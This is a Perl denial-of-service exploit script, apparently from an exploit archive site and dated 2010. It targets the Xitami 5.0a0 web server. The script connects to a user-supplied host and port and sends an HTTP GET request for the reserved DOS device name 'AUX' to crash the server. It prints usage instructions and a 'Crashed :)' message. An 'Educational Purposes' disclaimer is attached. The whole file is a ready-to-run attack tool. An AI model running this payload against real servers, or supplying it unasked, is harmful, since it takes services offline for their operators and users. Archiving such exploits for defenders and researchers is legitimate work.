Home / os / win7

xitami-5.0a0-windows_DOS.pl.txt

Posted on 10 May 2010

#!/usr/bin/perl
# Xitami/5.0a0 Denial Of Service
# Disclaimer:
# [This code is for Educational Purposes , I would Not be responsible for any misuse of this code]
# Author: Usman Saeed
# Company: Xc0re Security Research Group
# Website: http://www.xc0re.net
# DATE: [10/05/10]

$host = $ARGV[0];
$PORT = $ARGV[1];

$packet = "AUX";


$stuff = "GET /".$packet." HTTP/1.0

";



use IO::Socket::INET;
if (! defined $ARGV[0])
{
print "+========================================================+
";
print "+ Program [Xitami/5.0a0 Denial Of Service]               +
";
print "+ Author [Usman Saeed]                                   +
";
print "+ Company [Xc0re Security Research Group]                +
";
print "+ DATE: [10/05/10]                                       +
";
print "+ Usage :perl sploit.pl webserversip wbsvrport           +
";
print "+ Disclaimer: [This code is for Educational Purposes ,   +
";
print "+ I would Not be responsible for any misuse of this code]+
";
print "+========================================================+
";





exit;
}


$sock = IO::Socket::INET->new( Proto => "tcp",PeerAddr  => $host , PeerPort  => $PORT) || die "Cant connect to $host!";
print "+========================================================+
";
print "+ Program [Xitami/5.0a0 Denial Of Service]               +
";
print "+ Author [Usman Saeed]                                   +
";
print "+ Company [Xc0re Security Research Group]                +
";
print "+ DATE: [10/05/10]                                       +
";
print "+ Usage :perl sploit.pl webserversip wbsvrport           +
";
print "+ Disclaimer: [This code is for Educational Purposes ,   +
";
print "+ I would Not be responsible for any misuse of this code]+
";
print "+========================================================+
";




print "
";

print "[*] Initializing
";

sleep(2);

print "[*] Sendin DOS Packet 
";

send ($sock , $stuff , 0);
print "[*] Crashed :) 
";
$res = recv($sock,$response,1024,0);
print $response;



exit;

 

TOP